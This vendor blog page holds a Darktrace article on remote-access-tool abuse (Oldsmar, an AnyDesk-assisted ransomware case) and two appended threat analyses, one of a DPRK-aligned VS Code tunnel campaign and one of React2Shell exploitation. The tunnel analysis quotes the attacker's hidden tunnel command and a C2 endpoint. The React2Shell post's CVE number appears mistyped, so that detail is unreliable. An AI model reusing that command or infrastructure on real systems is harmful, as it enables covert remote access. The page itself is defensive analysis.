August 3, 2022

The Risks of Remote Access Tools

Discover how remote access tools in exploitations across OT/ICS and corporate environments benefit from Darktrace's product suite.

Written by

Dylan Hinz

Cyber Analyst

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

Dylan Hinz

Cyber Analyst

Aug 2022

Understanding remote access tools

In 2022, remote access tools continue to provide versatile support to organizations. By controlling devices remotely from across the globe, IT teams save on response costs, travel times, and can receive remote support from external parties like contractors [1 & 2]. This is particularly relevant in cases involving specialty machines such as OT/ICS systems where physical access is sometimes limited. These tools, however, come with their own risks. The following blog will discuss these risks and how they can be addressed (particularly in OT environments) by looking at two exploit examples from the popular sphere and within the Darktrace customer base.

What are remote access tools?

One of the most popular remote tools is TeamViewer, a comprehensive videoconferencing and remote management tool which can be used on both desktop and handheld devices[3]. Like other sophisticated tools, when it works as intended, it can seem like magic. However, remote access tools can be exploited and may grant privileged network access to potential threat actors. Although TeamViewer needs to be installed on both perpetrator and victim devices, if an attacker has access to a misconfigured TeamViewer device, it becomes trivial to establish a foothold and deploy malware.

How secure is remote access?

Security vulnerabilities in remote access tools

In early 2021, remote access tooling was seen on a new scale against the City of Oldsmar’s water treatment plant [4] (Figure 1). Oldsmar manages chemical concentration levels in the water for a 15,000-person city. The water treatment plant had been using TeamViewer to allow employees to share screens and work through IT issues. However, in February an employee noticed he had lost control of his mouse cursor. Initially he was unconcerned; the employee assumed that the cursor was being controlled by his boss, who regularly connected to the computer to monitor the facility’s systems. A few hours later though, the employee again saw his cursor moving out of his control and this time noticed that it was attempting to change levels of sodium hydroxide in the water supply (which is extremely dangerous for human consumption). Thankfully, the employee was able to quickly spot the changes and return them to their normal level. When looking back at the event, the key question posed by officials was where exactly the vulnerability was located in their security stack. [5]. The answer was unclear.

Figure 1: Photograph of compromised water plant in Florida

Tactics and strategies

When attackers get initial network access, the primary challenge for any enterprise is identifying a) that a device compromise has happened and b) how it happened. These were the same challenges seen in the Oldsmar attack. When the first physical signs of compromise occurred (cursor movement), the impacted user was still unsure whether the activity was malicious. A detailed investigation from Dragos revealed the how: evidence of a watering hole, reconnaissance activity a month prior, a targeted variant of the Tofsee botnet, and the potential presence of two separate threat actors [6 & 7]. The answer to both questions pointed to a complex attack. However, with Darktrace these questions become less important.

How Darktrace stops compromised remote access

Darktrace does not rely on signatures but instead has AI-based models for live detection of these tools and anomalies within the wider network. Regardless of the security ‘hole’, live detection gives security teams the potential to respond in near-live time.

According to Darktrace’s Chief Product Officer, Max Heinemeyer, the Oldsmar attack was possible because it “Abused off-the-shelf tools that were already used by the client, specifically TeamViewer. This tactic, which targeted the domain controller as the initial vector, made the malware deployment easy and effective.” [8].

Darktrace has multiple DETECT models to provide visibility over anomalous TeamViewer or remote access tool usage:

· Compliance / Incoming Remote Access Tool

· Compliance / Remote Management Tool On Client

· Compliance / Remote Management Tool On Server

· Device / Activity Identifier / Teamviewer

General incoming privileged connections:

· Compliance / Incoming Remote Desktop

· Compliance / Incoming SSH

Industrial DETECT can also highlight any new or unusual changes in ICS/OT systems:

· ICS / Incoming ICS Command

· ICS / Incoming RDP And ICS Commands

· ICS / Uncommon ICS Error

Darktrace gives security teams the opportunity for a proactive response, and it is up to those teams to utilize that opportunity. In recent months our SOC Team have also seen remote access controls being abused for high-profile threats. In one example, Darktrace detected a ransomware attack supported by the installation of AnyDesk.

Initial detection of compromise

In May a company’s mail server was detected making multiple external requests for an unusual file ‘106.exe’ using a PowerShell agent (6b79549200af33bf0322164f8a4d56a0fa08a5a62ab6a5c93a6eeef2065430ce). Although some requests were directed to sinkholes, many were otherwise successful. Subsequently a DDL file with hash f126ce9014ee87de92e734c509e1b5ab71ffb2d5a8b27171da111f96f3ba0e75 (marked by VirusTotal as malicious) was downloaded. This was followed by the installation of AnyDesk: a remote access tool likely deployed for backdoor purposes during further compromises. It is clear the threat actor then moved on to reconnaissance, with new Mimikatz use and a large volume of ICMP and SMBv.1 scanning sessions using a default credential. DCE-RPC calls were also made to the Netlogon service, suggesting a possible attempt to exploit 2020’s Zerologon vulnerability (CVE-2020-1472) [9]. When the customer then discovered a ransom note pertaining to LV (repurposed REvil), Darktrace analysts helped them to re-configure Darktrace RESPOND and turn it to active rather than human confirmation mode (Figure 2).

Figure 2: Capture of LV ransom note provided by customer

Whilst in this instance the tool was not used for initial access, it was still an important contingency tool to ensure the threat actor’s persistency as the customer tried to respond to the ongoing breach. Yet it was the visibility provided by Darktrace model detection and changes to RESPOND configuration which ensured the customer kept up with this actor and reduced the impact of the attack.

Looking back at Oldsmar, it is clear that being aware of remote access tools is only half the battle. More importantly, most organizations are asking if their use in attacks can be prevented in the first place. As an off-the-shelf tool, restricting TeamViewer use seems like an easy solution but such tools are often essential for maintenance and support operations. Even if limited to privileged users, these accounts are also subject to potential compromise. Instead, companies can take a large-scale view and consider the environment in which the Oldsmar attack occurred.

How IT & OT convergence complicated this attack

In this context, the separation of OT and IT systems is a potential solution - if attackers cannot access at-risk systems, then they also cannot attack those systems. However, with recent discourse around the IT-OT convergence and increased use of IoT devices, this separation is increasingly challenging to implement [10]. Complex networking designs, stringent patching requirements and ever-changing business/operational needs are all big considerations when establishing industrial security. In fact, Tenable’s CEO Amit Yoran encouraged less separation following Oldsmar: “There’s business reasons and efficiency reasons that you might want to connect those to be able to predict when parts are going to fail or when outages are going to occur [sic].” [11].

When neither addressing remote access use or industrial set-up provides a quick solution, then security teams need to look to third-party support to stop similar attacks. In addition to Darktrace DETECT, our Darktrace PREVENT range with PREVENT/Attack Surface Management (ASM) can also alert security teams to internet-facing devices at risk of remote access exploitation. ASM actively queries the Shodan API for open ports on company websites and exposed servers. This highlights those assets which might be vulnerable to this type of remote access.

Conclusion

In conclusion, TeamViewer and other remote access tools offer a lot of convenience for security teams but also for attackers. Attackers can remotely access important systems including those in the industrial network and install malware using remote access tools as leverage. Security teams need to know both their normal authorized activities and how to enforce them. With Darktrace DETECT, the tools are given transparency, with Darktrace RESPOND they can be blocked, and now Darktrace PREVENT/ASM helps to mitigate the risk of attack before it happens. As the professional world continues to embrace hybrid working, it becomes increasingly crucial to embrace these types of products and ensure protection against the dangers of unwanted remote access.

Thanks to Connor Mooney for his contributions to this blog.

Appendices

References

[1] https://goabacus.com/advantages-and-disadvantages-of-remote-access-service/

[2] https://blog.ericom.com/advantages-of-remote-access/

[3] https://www.teamviewer.com/en/documents/

[4] https://www.wired.com/story/oldsmar-florida-water-utility-hack/

[5 & 11] https://www.bankinfosecurity.com/ot-it-integration-raises-risk-for-water-providers-experts-say-a-18841

[6] https://www.dragos.com/blog/industry-news/a-new-water-watering-hole/

[7] https://www.dragos.com/blog/industry-news/recommendations-following-the-oldsmar-water-treatment-facility-cyber-attack/

[8] https://customerportal.darktrace.com/darktrace-blogs/get-blog/53

[9] https://www.crowdstrike.com/blog/cve-2020-1472-zerologon-security-advisory/

[10] https://www.mckinsey.com/business-functions/operations/our-insights/converge-it-and-ot-to-turbocharge-business-operations-scaling-power

Written by

Dylan Hinz

Cyber Analyst

Inside the SOC

Written by

Dylan Hinz

Cyber Analyst

Senior Director of Product, Cloud | Darktrace

Watch the NIS2 Webinar

Blog

Network

January 21, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

campaign targeting south orea leveraging vs code for remote access

Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to https://www.yespp.co.kr/common/include/code/out.php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1] https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

About the author

Blog

January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.‍

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction. No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

About the author

Nathaniel Jones

VP, Security & AI Strategy, Field CISO

Your data. Our AI.

Elevate your network security with Darktrace AI

Get a demo

The Risks of Remote Access Tools